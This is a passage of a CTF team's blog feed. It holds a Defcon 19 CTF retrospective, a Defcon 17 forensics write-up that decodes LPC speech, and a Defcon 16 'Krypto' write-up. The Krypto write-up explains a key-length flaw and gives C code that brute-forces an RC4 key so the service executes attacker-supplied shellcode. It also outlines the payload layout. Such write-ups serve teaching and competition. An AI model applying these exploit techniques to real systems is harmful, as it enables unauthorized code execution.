class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-7308774344832806271?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/7308774344832806271/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-bunny.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/7308774344832806271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/7308774344832806271'/><link rel='alternate' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-bunny.html' title='Defcon 19 CTF - Bunny'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-8488552084281902253</id><published>2011-08-10T16:34:00.000-07:00</published><updated>2011-08-22T12:27:37.291-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='summary'/><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='ddtek'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 19 CTF - CTF Inside</title><content type='html'>&lt;a href="http://ddtek.biz/"&gt;ddtek&lt;/a&gt; ran their third contest since they took over the CTF's organization: "Binjitsu III" (or as the scoreboard had it "binjutsu" ;)&lt;br /&gt;&lt;br /&gt;This edition was located for the first time at the Rio and ddtek teased us with an authentication passphrase related to the casino switch.&lt;br /&gt;&lt;br /&gt;Organizing such an event represents a heavy workload as there are in fact two separate contests to run: the quals - online - and the CTF itself - in Vegas. Although not perfect in all aspects, ddtek is doing quite a good job at making this happen. Thanks to them.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/--yuepjI2Hpg/Tk-S2kyPlTI/AAAAAAAAAC0/wfraizmA4GI/s1600/IMG_9197.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="198" width="320" src="http://3.bp.blogspot.com/--yuepjI2Hpg/Tk-S2kyPlTI/AAAAAAAAAC0/wfraizmA4GI/s320/IMG_9197.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;We are involved in the CTF since five years and, as such, followed the global evolution over the years.&lt;br /&gt;Good news are that teams are turning international and skills are going up:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;the Danes (well, mostly): &lt;a href="https://www.nopsled.eu"&gt;European Nopsled&lt;/a&gt; - who rocked the contest: congratz guys!&lt;/li&gt;&lt;li&gt;the Spaniards: &lt;a href="http://int3pids.com/"&gt;int3pids&lt;/a&gt; (formerly known as Sexy Pandas with Gambas) - very much feared reversing power and one of the very few teams that pass the quals every year.&lt;/li&gt;&lt;li&gt;the Japanese: &lt;a href="http://twitter.com/sutegoma2"&gt;sutegoma2&lt;/a&gt; - joining the contest for the first time. Welcome Ninjas!&lt;/li&gt;&lt;li&gt;the Russians: &lt;a href="http://leetmore.ctf.su/"&gt;IV&lt;/a&gt; - also here for the first time and finished 4th, a very good result. Oh, and nicely played on the defense, you're lucky the polling sucked ;)&lt;/li&gt;&lt;li&gt;the Koreans: &lt;a href="http://plus.or.kr/"&gt;PLUS@Postech&lt;/a&gt; - GON are out this year, so are WOWHACKER. Alliances show their limits ;-)&lt;/li&gt;&lt;li&gt;and the all-over-the-world team &lt;a href="http://lollersk8ers.fatihkilic.de/"&gt;lollersk8ers&lt;/a&gt; did a good job with only 5 players. Did you really have no services running since the beginning?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Many US teams were there as usual, some of them with ex-members of previous winners 1@stplace/vedagodz:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ACME Pharm: too busy contemplating your black badge?&lt;/li&gt;&lt;li&gt;&lt;a href="http://hatesirony.com/"&gt;Hates Irony&lt;/a&gt;: less sex doll^Wsheep, tshirts and stickers and more reversing ;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://twitter.com/#!/velociroptors"&gt;velociROPtors&lt;/a&gt;: you should be ashamed of using the word ROP.&lt;/li&gt;&lt;li&gt;&lt;a href="http://ppp.cylab.cmu.edu/"&gt;Plaid Parliament of Pwning&lt;/a&gt;: you know how to win challenge CTF but you cry your mommies now! j/k well done guys for a first edition, expecting high from you next year ;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.shellphish.net/"&gt;shellphish&lt;/a&gt;: defcon13 winners and still strong in finals!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Nzajz05Vm2Y/TkRnD6wJkII/AAAAAAAAAA8/Jpeal8nKV6A/s1600/IMG_9199.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="211" src="http://3.bp.blogspot.com/-Nzajz05Vm2Y/TkRnD6wJkII/AAAAAAAAAA8/Jpeal8nKV6A/s400/IMG_9199.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;As usual, the game was slow to start. Long after being seated, we were handed the binaries, the VM image (really?) and credentials for our VM and scoring.&lt;br /&gt;&lt;br /&gt;A few hours later... We had access to our VM and traces of our first opponents. It wasn't long before the first exploits started being ready, we pwned, stole keys, submitted them...  &amp; NOoo... THE !@#$ SUBMISSION SERVER IS DOWN. And keys are expiring :( we were told "don't worry Routards, it is the same thing for all teams, don't be too fast!" lolz.&lt;br /&gt;Many teams, not just us, had 0day/breakthrough and could have scored first blood during this period, but were unable to.&lt;br /&gt;&lt;br /&gt;A few hours later... We could actually score.&lt;br /&gt;&lt;br /&gt;A few more hours later... There was a scoreboard for all to see! Well, not strictly all, only for the teams that weren't behind it... Moreover, it was annoying: slowly displaying many charts (interesting though) while all you want right now is the current score. Why not displaying a box with all team's score on every slide? Or better, set up a Web interface where everyone can see any of these information. Also, hiding the name of the services does not add any value to the game. Finally, please leave the scoreboard the entire competition: as Roman said, "non-blind game supports fair-play &amp; helps to detect errors".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-BZLiMKIk0Pc/Tk-QlUcznBI/AAAAAAAAACk/FH9rc_aq2gw/s1600/DSC00090.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="174" width="320" src="http://2.bp.blogspot.com/-BZLiMKIk0Pc/Tk-QlUcznBI/AAAAAAAAACk/FH9rc_aq2gw/s320/DSC00090.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;No really, this time it felt like things took *way* too long to kick off. Figuring out our subnet isn't actually all that fun. Figuring out how to start a given service, whether it drops its privileges or not. Figuring out if a typo in the unix account "tomato" is intentional or not. Figuring out why forgetu had to run under the "fu" account while the binary was using "forgetu". Figuring out why sandy was in bin/ instead of sbin/ and why the patched binary was periodically rewritten by the original, vulnerable one... That's not really part of CTF or in any way "fun".&lt;br /&gt;&lt;br /&gt;The submission server was often down. Because of that, we lost a large number of keys: server replying "key expired" when back online. Knowing the SLA of the submission server could be of interest :) And having to stand up and walk to the help desk to explain the same problem again and again is rather tiring... ddtek does not monitor its own services?&lt;br /&gt;It also seems we have been penalized by denial of access to the submission server for some weird reasons (we were working too fast for the ddtek architecture...).&lt;br /&gt;&lt;br /&gt;Also, it's been 3 years now and the system displaying the availability of the services is still not working: all services are shown as down but they are not (so far as we remember, only 2 services were shown as up this year). Totally useless! Even more useless that some teams managed to host their services on another machine without breaking their SLA... isn't supposed to be detected?!&lt;br /&gt;&lt;br /&gt;Now about the binaries: last year CTF was rather chaotic (hardly playable) but with an overall very good binaries' quality. This year, too many binaries consisted in format string exploitation: shortcuts ddtek? :P However, IPv6 was a nice surprise and brought all the necessary spice to the contest to make it enjoyable.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/--IINnvWRh3Y/Tk-UD7PadYI/AAAAAAAAAC8/mklgQU9Bt6U/s1600/DSC00100.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="283" width="320" src="http://3.bp.blogspot.com/--IINnvWRh3Y/Tk-UD7PadYI/AAAAAAAAAC8/mklgQU9Bt6U/s320/DSC00100.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Special greetings to lollerSkaters who got root on several jails (if not all). They nicely kickbanned us from our jail but we quickly regained access thanks to root's authorized_keys being automagically re-written. Kudos to ddtek for that! Unfortunately, that root didn't let them win the contest due to a catastrophic SLA. It's kinda hard to believe that they failed at configuring IPv6... so wtf happened guys?&lt;br /&gt;&lt;br /&gt;Routards will not communicate on matters such as 0day and jail-breaking-out-of as this is serious business.&lt;br /&gt;&lt;br /&gt;Compared to the &lt;a href="http://www.kenshoto.com/"&gt;kenshoto&lt;/a&gt;'s years, the CTF lacks animation. The original breakthrough concept was great: being fast was rewarded, it was putting pressure on other teams, applause were a tradition. Killing the show in the name of a supposed better scoring system sucks. By the way, not taking breakthroughs into account definitely sux too. Also, ddtek should have more presence. Yes, that includes helping people during the game, guessing games are no fun and pointless.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-jCStFO8ZqzA/TlKekOZZWcI/AAAAAAAAADE/3BsqHnE0duU/s1600/scoreboard-end.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="195" width="320" src="http://2.bp.blogspot.com/-jCStFO8ZqzA/TlKekOZZWcI/AAAAAAAAADE/3BsqHnE0duU/s320/scoreboard-end.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;i&gt;The mentioned better scoring system in action&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;What about the end of the CTF? Well, which end? A few words when pulling off the cables without warning (and without having restored the submission server down for over an hour...) and announcing the name of the winner at the ceremony are not enough. This is a total disrespect for all the other teams, no anecdotes or details about the 3 intense days: lollersk8ters pwnage was barely mentioned along with Routards "eternal seconds" (4 years in a row... dammit!). Bring back Invisigoth!&lt;br /&gt;&lt;br /&gt;For a lot of people, the CTF is supposed to be the Hacking world's championship, far more attention should be brought to the closing ceremony. Kenshoto have been doing it really well in the past.&lt;br /&gt;&lt;br /&gt;Finally, where are the in-game graphs? logs of the points earned? most owned service? most owned team? rank changes? breakthroughs? and pcaps! Everybody is expecting more data.&lt;br /&gt;&lt;br /&gt;Enjoy the write ups.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Y9UAvc2WW9E/Tk-RW6Os3VI/AAAAAAAAACs/Q8WTzB0rxGk/s1600/DSC00101.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="72" width="320" src="http://1.bp.blogspot.com/-Y9UAvc2WW9E/Tk-RW6Os3VI/AAAAAAAAACs/Q8WTzB0rxGk/s320/DSC00101.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="float:right;"&gt;Routards / Eternal Seconds&lt;/span&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-8488552084281902253?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/8488552084281902253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-ctf-inside.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/8488552084281902253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/8488552084281902253'/><link rel='alternate' type='text/html' href='http://www.routards.org/2011/08/defcon-19-ctf-ctf-inside.html' title='Defcon 19 CTF - CTF Inside'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/--yuepjI2Hpg/Tk-S2kyPlTI/AAAAAAAAAC0/wfraizmA4GI/s72-c/IMG_9197.JPG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-4930917440898774693</id><published>2011-08-10T14:55:00.000-07:00</published><updated>2011-08-11T16:53:39.975-07:00</updated><title type='text'>One picture...</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-JZSdO0jadwo/TkRPoPZB_BI/AAAAAAAAAA0/Udm0T83oyhE/s1600/team_blog.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="190" src="http://4.bp.blogspot.com/-JZSdO0jadwo/TkRPoPZB_BI/AAAAAAAAAA0/Udm0T83oyhE/s400/team_blog.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-4930917440898774693?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/4930917440898774693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2011/08/one-picture.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/4930917440898774693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/4930917440898774693'/><link rel='alternate' type='text/html' href='http://www.routards.org/2011/08/one-picture.html' title='One picture...'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-JZSdO0jadwo/TkRPoPZB_BI/AAAAAAAAAA0/Udm0T83oyhE/s72-c/team_blog.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-5066748561436506814</id><published>2010-06-04T11:05:00.000-07:00</published><updated>2011-08-13T18:36:10.974-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='quals'/><category scheme='http://www.blogger.com/atom/ns#' term='f300'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 17 QUALS - Forensics 300</title><content type='html'>Question: say my name cuz i got pain when i tried to get gain.&lt;br /&gt;&lt;br /&gt;File attached: &lt;a href="http://sites.google.com/site/routardz/f300_46646289fff26adc0.bin"&gt;a powerpoint presentation&lt;/a&gt; (this is forensics after all...)&lt;br /&gt;&lt;br /&gt;The file contained slides with useless base64 comments and images which also contained useless base64 comments (cf. &lt;a href="http://forensic-proof.com/archives/495"&gt;http://forensic-proof.com/archives/495&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;However, on slide 3 there are some interesting cells: AC64 and AC65 (and indirectly empty cells AC21 and AC22). Both cells contain base64 blobs. The base64, once concatenated can be decoded to obtain a 27461 Bytes file:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;01 08 31 08 31 80 30 01 08 31 08 31 80 34 01 08  |..1.1.0..1.1.4..|&lt;br /&gt;31 08 31 80 30 22 31 e7 99 62 11 c4 01 31 f7 91  |1.1.0"1..b...1..|&lt;br /&gt;11 81 d0 40 30 f7 99 20 00 d4 82 21 f7 99 72 91  |...@0.. ...!..r.|&lt;br /&gt;d0 85 11 f7 91 11 a1 54 40 30 e7 18 20 00 c0 e7  |.......T@0.. ...|&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Interestingly, 27461 is the product of 7 and 3923 which are both prime numbers. This is interesting because the hexadecimal output seems to be 7 bytes aligned. This seems to stand out at least for the first 3 "packets":&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;01 08 31 08 31 80 30&lt;br /&gt;01 08 31 08 31 80 34&lt;br /&gt;01 08 31 08 31 80 30&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As a matter of fact, this signature is not referenced in any signature database that I know...&lt;br /&gt;&lt;br /&gt;So let's try to split the hexadecimal stream into 7 bytes packet and compare them with each other:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Identical packets:&lt;br /&gt;&lt;br /&gt;Few hundred packets appear several times, up to 11 times for "3C BC 73 FD CA AA 0C". This is clearly not a compression format based on a dictionary...&lt;br /&gt;&lt;br /&gt;When trying to search for 7 bytes (or 56 bits) aligned file/packet format, the results are not really helpful.. too bad.&lt;/li&gt;&lt;li&gt;Most recurring byte at a given position:&lt;br /&gt;&lt;br /&gt;When browsing the full 7 bytes aligned version of the file, a recurring byte I noticed was 0xF7 at the 3rd position. Not because it is the most recurring value for that position, but because it was nearly always followed by 0x99 or 0x91. In each of those cases the first quartet of the packet was even. This path won't lead us anywhere but it confirms the idea that these 7 Bytes packets really have a meaning.&lt;br /&gt;&lt;br /&gt;Trying to determine the exact reason why some bits are correlated inside a packet is not really interesting and probably not feasible. However, trying to determine the range inside the packets in which certain bits are correlated may help splitting the packets to a lower granularity so that we can compare it with an existing format. In addition, writing a quick and dirty code for comparing block of bits is fairly easy.&lt;br /&gt;&lt;br /&gt;As a matter of fact, a binary sequence is present at the same place in all packets, they all end in b'00, and more interestingly, even packets end in b'100 while odd packets end in b'000. At this point we may want to call these "7 Bytes packets": 54 bits frames.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;This time we can try to search the web with: "54 bits" frame "synchronization bit"&lt;br /&gt;&lt;br /&gt;The results will lead us to Linear Prediction algorithms for speech encoding.&lt;br /&gt;&lt;br /&gt;Knowning this, if we look closer at the first 3 sequences of 7 Bytes, we find they are actually the initialization values for the speech synthesizer filter. So in practice, the signature should have been easy to identify with just this information...&lt;br /&gt;&lt;br /&gt;A deeper analysis of the "correlated bits" found above gives LPC at the 10th order as a likely candidate, this is good news because it is supported by &lt;hint&gt;Speak Freely&lt;/HINT&gt; (&lt;a href="http://www.speakfreely.org/"&gt;http://www.speakfreely.org/&lt;/a&gt;). Too bad it only supports win32... but writing a converter to WAV should be pretty quick.&lt;br /&gt;&lt;br /&gt;The resulting sound spells an hexadecimal stream using the NATO Phonetic Alphabet (you should be able to decode this one pretty easily):&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;a4 b0 b0 ac 76 6b 6b a1 aa 9f b5 9f a8 ab ac a1 a0 a5 9d a0 ae 9d a9 9d b0&lt;br /&gt;a5 9f 9d 6a 9f ab a9 6b 89 a5 9f a4 a1 a8 a8 a1 9b 89 9d a0 a5 a3 9d aa&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Substracting 0x3C from each byte gives us: &lt;a href="http://encyclopediadramatica.com/Michelle_Madigan"&gt;http://encyclopediadramatica.com/Michelle_Madigan&lt;/a&gt; (valid link in 2011: &lt;a href="http://encyclopediadramatica.ch/Michelle_Madigan"&gt;http://encyclopediadramatica.ch/Michelle_Madigan&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;After reading that page, I think that Yes, she got pain when she tried to get gain. At least it seems so...&lt;br /&gt;&lt;br /&gt;Key: Michelle Madigan (?)&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-5066748561436506814?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/5066748561436506814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2010/06/defcon-17-quals-forensics-300.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/5066748561436506814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/5066748561436506814'/><link rel='alternate' type='text/html' href='http://www.routards.org/2010/06/defcon-17-quals-forensics-300.html' title='Defcon 17 QUALS - Forensics 300'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-658883818066807638</id><published>2008-10-28T17:57:00.000-07:00</published><updated>2011-08-21T07:23:24.360-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rc4'/><category scheme='http://www.blogger.com/atom/ns#' term='ctf'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 16 CTF - Krypto</title><content type='html'>&lt;a href="http://sites.google.com/site/routardz/kryptod"&gt;Krypto&lt;/a&gt; is a dynamically linked and not stripped ELF binary which listens on port 20020. Connection to this port does not return any information.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;This is the interesting code left, after having put aside the typical functions (daemon creation, privileges drop, ...):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-WVnUKTqNsek/TkbjjQAhnbI/AAAAAAAAAB8/RXCcRl6E8PY/s1600/krypto1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="146" src="http://3.bp.blogspot.com/-WVnUKTqNsek/TkbjjQAhnbI/AAAAAAAAAB8/RXCcRl6E8PY/s320/krypto1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The program begins with reading the key file and keeps its content in memory. Then, a 32 characters string only composed of "A" is created, and Krypto reads on the socket a maximal 63 characters buffer (or stops if it finds "\n"). The address of this buffer is stored in ebx.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-gXrhT6XLt7M/TkbjuQwRu_I/AAAAAAAAACE/LsJ_m75sQ0A/s1600/krypto2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="174" src="http://3.bp.blogspot.com/-gXrhT6XLt7M/TkbjuQwRu_I/AAAAAAAAACE/LsJ_m75sQ0A/s320/krypto2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The following "repne scasb" instruction searches for the "\0" character (as eax has been set to 0 via "xor eax, eax") in the string pointed to by edi. At this point, this string in edi is the previously read buffer on the socket via "mov edi, ebx".&lt;br /&gt;&lt;br /&gt;After this instruction, ecx is set to the string length, and edi points to the character following  "\0".&lt;br /&gt;&lt;br /&gt;A call to the RC4_set_key() function is then performed, with the buffer read on the socket and the previously calculated length as parameters. The way RC4 algorithm works is easy to understand: the key allows generation of a pseudorandom stream of bits, called keystream, which is then used to encrypt data with a simple XOR. As a consequence, encryption and decryption functions are the same. Here, the key is the user-provided entry.&lt;br /&gt;&lt;br /&gt;This are the definition of the OpenSSL RC4 functions:&lt;br /&gt;&lt;pre class="brush: c"&gt;void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data);&lt;br /&gt;void RC4(RC4_KEY *key, unsigned long len, const unsigned char *indata, unsigned char *outdata);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The RC4_set_key() function gives us a RC4_KEY variable created from the string key,  which is then used as argument to the RC4() function. The latter function encrypts the 32 "A" string generated in the first place. After this call, esi points to the encrypted result.&lt;br /&gt;&lt;br /&gt;The alarm() function is called to kill the process after 2 seconds. We now have a "call esi", where esi is a pointer to our encrypted buffer. Obviously, it crashes, but the service forked during connection so nothing can be seen and the service still runs. If the service does not crash (the "call esi" returns), the alarm() function is called again to cancel the first call to alarm(). Finally, a four characters string is sent on the socket and the exit() function terminates the child.&lt;br /&gt;&lt;br /&gt;To sum up, we have:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;String_to_be_encrypted = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&lt;/li&gt;&lt;li&gt;RC4_Key = our 63 characters maximum buffer&lt;/li&gt;&lt;li&gt;RC4 encryption of the fixed string with the user-provided key&lt;/li&gt;&lt;li&gt;Execution of the encryption result&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;So, where is the vulnerability which gives us a shell?&lt;br /&gt;&lt;br /&gt;Obviously, we cannot bruteforce RC4 to forge a valid shellcode. The problem results from the way the key length is calculated. In fact, krypto expects the key to end with "\0"; we can use a very small key (of a few bytes), have it followed by a "\0", and include whatever we want at the end of the buffer.&lt;br /&gt;&lt;br /&gt;Why do that? We must keep in mind that after  the "repne scasb" instruction, edi is a pointer to the character following the "\0", that is to say, the buffer left which will not be used as the RC4 key. We now have to make the RC4 encryption generate a result with a jump to edi as first bytes. We can use "push edi ret" instructions (opcodes: "\x57\xC3").&lt;br /&gt;&lt;br /&gt;We have to bruteforce a small key for the RC4 encryption of the "A" string to begin with these two opcodes. A 4 bytes key can be used; this key must not contain "\0" or "\n", and must not remain the same to avoid a too easy IDS blacklisting.&lt;br /&gt;&lt;br /&gt;This is the C code to bruteforce the RC4 key:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: c"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;time.h&amp;gt;&lt;br /&gt;#include &amp;lt;openssl/rc4.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int ac, char **av)&lt;br /&gt;{&lt;br /&gt;  unsigned short a, b, c, d;&lt;br /&gt;  RC4_KEY          key;&lt;br /&gt;  unsigned char  data[4];&lt;br /&gt;  unsigned char  outdata[32];&lt;br /&gt;  srand(time(NULL));&lt;br /&gt;&lt;br /&gt;  while (42) {&lt;br /&gt;    a = 1 + (int) (255.0 * (rand() / (RAND_MAX + 1.0)));&lt;br /&gt;    if (a == 0x0a)&lt;br /&gt;         continue;&lt;br /&gt;    for (b = 1; b &amp;lt;= 0xff; b++) {&lt;br /&gt;      for (c = 1; c &amp;lt;= 0xff; c++) {&lt;br /&gt;        for (d = 1; d &amp;lt;= 0xff; d++) {&lt;br /&gt;          data[0] = d;&lt;br /&gt;          data[1] = c;&lt;br /&gt;          data[2] = b;&lt;br /&gt;          data[3] = a;&lt;br /&gt;          data[4] = 0;&lt;br /&gt;          RC4_set_key(&amp;amp;key, 4, data);&lt;br /&gt;          RC4(&amp;amp;key, 32, &amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;, outdata);&lt;br /&gt;          if (outdata[0] == 0x57 &amp;amp;&amp;amp; outdata[1] == 0xc3 &lt;br /&gt;                  &amp;amp;&amp;amp; b != 0x0a &amp;amp;&amp;amp; c != 0x0a &amp;amp;&amp;amp; d != 0x0a)&lt;br /&gt;          {&lt;br /&gt;              printf(&amp;quot;rc4key = \&amp;quot;\\x%02x\\x%02x\\x%02x\\x%02x\&amp;quot;\n&amp;quot;, d, c, b, a);&lt;br /&gt;              return 1;&lt;br /&gt;          }&lt;br /&gt;        }&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;For the shellcode, we must keep in mind the "killer" alarm() function, and make it fork. The  size of the buffer is limited (and even further reduced by the fork), we have to use a stager.&lt;br /&gt;&lt;br /&gt;The final packet to send is like &lt;b&gt;[RC4 KEY]['\0'][shellcode fork][shellcode stager]['\n']&lt;/b&gt; then &lt;b&gt;[TAG][real shellcode]&lt;/b&gt;.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-658883818066807638?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/658883818066807638/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2008/10/defcon-16-ctf-krypto.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/658883818066807638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/658883818066807638'/><link rel='alternate' type='text/html' href='http://www.routards.org/2008/10/defcon-16-ctf-krypto.html' title='Defcon 16 CTF - Krypto'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail 